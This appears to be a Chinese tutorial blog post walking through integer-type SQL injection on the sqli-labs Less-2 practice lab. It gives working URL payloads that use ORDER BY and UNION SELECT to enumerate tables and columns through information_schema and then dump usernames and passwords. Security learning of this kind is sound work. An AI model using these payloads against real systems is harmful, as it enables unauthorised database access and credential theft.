SQL注入-整形注入

2020-05-18  本文已影响0人  夜尽雪舞

特别声明:该文章只运用于学习安全测试交流之用,请勿用于其他

第一步:确认注入点类型

参数中输入' # 仍有报错提示,推测可能存在注入点,注入类型可能为"闭合的字符型或者整形

图-1

输入" # 仍然存在报错排除"闭合的字符型注入,注入型为整型

图-2

第二步:猜测SQL查询语句中的字段数

使用order by来判断查询语句中字段数,输入order by 4报错,order by 3无报错说明查询语句中有3个字段

构造URL:http://192.168.109.35:5679/Less-2/?id=1 order by 4

图-3

第三步:确定显示的字段顺序

构造URL:http://192.168.109.35:5679/Less-2/?id=122222222222222 union select 1,2,3

id传入不存在的值,然后拼接union select 1,2,3可见页面显示的为最后两个字段

图-4

第四步:获取当前数据库

使用databse()函数获取当前数据库名

构造URL:http://192.168.109.35:5679/Less-2/?id=122222222222222 union select 1,2,database()

图-5

第五步:获取数据库中的表

利用group_concat() 函数拼接information_schema.tables表中table_name字段从而查询出当前数据库中所有表

构造URL:http://192.168.109.35:5679/Less-2/?id=122222222222222 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

图-6

第六步:获取表中的字段名

构造URL:http://192.168.109.35:5679/Less-2/?id=122222222222222 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #

利用group_concat() 函数拼接information_schema.colums表中columb_name字段从而查询users表中所有字段

图-7

第七步:下载数据

构造URL:

http://192.168.109.35:5679/Less-2/?id=1222222222222 union select 1,group_concat(concat_ws("-",username,password)),3 from users #

图-7

知识点总结:

1)MYSQL中存在一个information_schema库,其中包含schemata、tables、conlums表,通过获取这些表中信息达到获取敏感信息目的

-- information_schema.schemata 存储MYSQL中所有的库名

SELECT * FROM  nformation_schema.schemata;

图-8

-- information_schema.TABLES  存储MYSQL中所有的表名,TABLE_SCHEMA为库名,TABLE_NAME为表名

SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA = database();

图-9

-- information_schema.COLUMNS  存储数据库中MYSQL中所有的列表,TABLE_SCHEMA为库名,TABLE_NAME为表名,COLUMN_NAME为列表

SELECT *  FROM information_schema.COLUMNS WHERE table_name = 'users'

图-10

2)order by

排序,可以连接index,实现按照都个字段排序的功能

3)gruop_concat

将所有查询到的数据拼接在一起,注意拼接有长度限制

4)concat_ws

拼接查询到的字段

5)union 联合查询,为SQL注入常用手段

上一篇下一篇

猜你喜欢

热点阅读